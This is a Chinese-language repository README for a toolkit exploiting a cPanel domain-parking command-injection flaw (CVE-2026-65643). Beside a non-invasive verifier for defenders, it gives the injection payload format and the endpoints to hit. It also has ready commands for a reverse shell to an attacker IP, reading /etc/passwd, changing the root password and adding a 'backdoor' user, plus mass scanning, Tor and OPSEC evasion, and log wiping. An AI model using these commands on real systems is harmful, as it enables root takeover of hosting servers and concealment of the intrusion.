红队/蓝队工具包,针对 CVE-2026-65643——cPanel 域名停放远程代码执行漏洞。包含带反向 Shell 的漏洞利用、Webshell、持久化及批量扫描功能,另附非侵入式验证器,用于检测与审计。

⚠️ 仅供道德使用 – 授权安全测试 本仓库提供的工具仅适用于授权安全专业人员、蓝队和渗透测试人员。 未经授权访问计算机系统在 CFAA(美国)、《计算机滥用法》(英国)、TCK 243/244(土耳其)以及全球类似法律下均属违法行为。
CVE‑2026‑65643 是 cPanel & WHM 11.x 版本中的一个严重命令注入漏洞,允许已认证的 cPanel 用户通过域名停放功能以root 权限执行任意系统命令。
`)注入 shell 命令。| 工具 | 用途 | 目标用户 |
|---|---|---|
exploit.py | 功能完整的武器化工具包,包含反弹 Shell、WebShell、持久化、文件读写、root 密码修改、批量扫描、Tor 支持和 OPSEC 功能。 | 红队 / 授权渗透测试人员 |
verifier.py | 非侵入式漏洞检测器,可检测 cPanel 版本、验证注入点并评估风险,无需执行任何恶意载荷。可生成详细报告。 | 蓝队 / 安全审计人员 |
git clone https://github.com/tc4dy/CVE-2026-65643-Toolkit
cd CVE-2026-65643-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py 参数verifier.py 参数该利用工具使用以下 cPanel 端点和注入方式:
# 注入载荷格式
test.com`<command>`
# 示例
test.com`id`
test.com`whoami`
test.com`echo 'pwned' > /tmp/pwned`
本软件仅用于教育目的和授权安全测试。
| 功能 | exploit.py | verifier.py |
|---|
| 漏洞检测 | ✅ | ✅ |
| 版本检测(4 个端点) | ✅ | ✅ |
| 命令注入 | ✅ | ❌ |
| 反弹 Shell | ✅ | ❌ |
| WebShell 上传 | ✅ | ❌ |
| 持久化(创建 cPanel 用户) | ✅ | ❌ |
| Root 密码修改 | ✅ | ❌ |
| 文件读写 | ✅ | ❌ |
| 4 种注入方式(JSON/Form/CGI/API2) | ✅ | ✅ |
| Tor 支持(匿名性) | ✅ | ❌ |
| User‑Agent 轮换(OPSEC) | ✅ | ❌ |
| 抖动(OPSEC) | ✅ | ❌ |
| 批量扫描(多线程) | ✅ | ❌ |
| 交互式 Shell | ✅ | ❌ |
| 非侵入式(安全)模式 | ❌ | ✅ |
| 时间线日志 | ✅ | ✅ |
| HTML 报告 | ✅ | ❌ |
| JSON 报告 | ✅ | ✅ |
| 日志清理(反取证) | ✅ | ✅ |
| 代理支持 | ✅ | ✅ |
| 自定义 User‑Agent | ✅ | ✅ |
| SSL 验证控制 | ✅ | ✅ |
| 场景 | 推荐工具 |
|---|
| 蓝队 – 验证您的 cPanel 安装是否存在漏洞 | verifier.py |
| 安全审计 – 非侵入式漏洞评估 | verifier.py |
| 红队 – 授权渗透测试及完整利用 | exploit.py |
| 漏洞赏金 – 负责任披露测试 | verifier.py |
| 批量扫描 – 检查多个目标是否存在漏洞 | exploit.py(仅检测) |
| 事件响应 – 检查系统是否已被入侵 | verifier.py |
| 参数 | 说明 |
|---|
-t, --target | 目标 cPanel URL(例如 https://cpanel.example.com:2083) |
-l, --target-file | 包含目标列表的文件(每行一个),用于批量扫描 |
-u, --username | cPanel 用户名 |
-P, --password | cPanel 密码 |
-p, --port | 覆盖 cPanel 端口(默认为 URL 中的端口或 2083) |
--threads | 多目标扫描的线程数(默认:10) |
-o, --output | 将 JSON 报告保存到文件 |
--html-report | 将 HTML 报告保存到文件 |
-v, --verbose | 详细输出 |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
--tor | 通过 Tor 路由(localhost:9050) |
-ua, --user-agent | 自定义 User‑Agent |
--no-keep-alive | 不保持会话存活 |
--delay | 请求之间的延迟(默认:2.0 秒) |
--jitter | 请求之间的随机抖动(0‑1 秒)(默认:0.5) |
--max-retries | 最大重试次数(默认:5) |
--ssl-verify | 验证 SSL 证书 |
--timeout | 请求超时(默认:15 秒) |
--cmd | 在目标上执行单条命令 |
--reverse-shell | 反弹 Shell IP:PORT |
--passwd | 修改 root 密码 |
--adduser | 创建 cPanel 用户(USER DOMAIN PASSWORD) |
--read | 读取文件 |
--write | 写入文件(指定路径) |
--write-content | 要写入的内容 |
--cleanup | 利用后清理日志和历史记录 |
-i, --interactive | 利用后进入交互式 Shell |
--domain-suffix | 停放域名的后缀(默认:exploit.local) |
| 参数 | 说明 |
|---|
-t, --target | 目标 cPanel URL(例如 https://cpanel.example.com:2083) |
-u, --username | cPanel 用户名 |
-P, --password | cPanel 密码 |
-o, --output | 将 JSON 报告保存到文件 |
-v, --verbose | 详细输出 |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
--tor | 通过 Tor 路由(localhost:9050) |
--ssl-verify | 验证 SSL 证书 |
--timeout | 请求超时(默认:15 秒) |
--cleanup | 测试后清理日志 |
| # | 场景 | 命令 |
|---|
| 1 | 快速漏洞检查 | python verifier.py -t https://cpanel.example.com:2083 -u user -P pass |
| 2 | 带报告的详细扫描 | python verifier.py -t https://cpanel.example.com:2083 -u user -P pass -o report.json -v |
| 3 | 反弹 Shell | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | 执行命令 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cmd "whoami" |
| 5 | 读取敏感文件 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | 修改 root 密码 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | 创建新的 cPanel 用户(持久化) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | 利用后进入交互式 Shell | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | 从文件批量扫描 | python exploit.py -l targets.txt -u user -P pass --threads 20 -o results.json |
| 10 | 使用代理、Tor 和自定义 User‑Agent | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 --tor -ua "Mozilla/5.0" |
| 11 | 利用后清理日志 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cleanup |
| 方式 | 端点 | 说明 |
|---|
| JSON API | /cpsessXXXXX/json-api/domain | 通过 JSON 载荷进行的主要注入方式 |
| 表单数据 | /cpsessXXXXX/json-api/domain | 通过表单编码数据进行替代注入 |
| CGI 脚本 | /cgi-sys/domainpark.cgi | 传统 CGI 端点注入 |
| API2 | /cpsessXXXXX/json-api/cpanel | 传统 API2 注入方式 |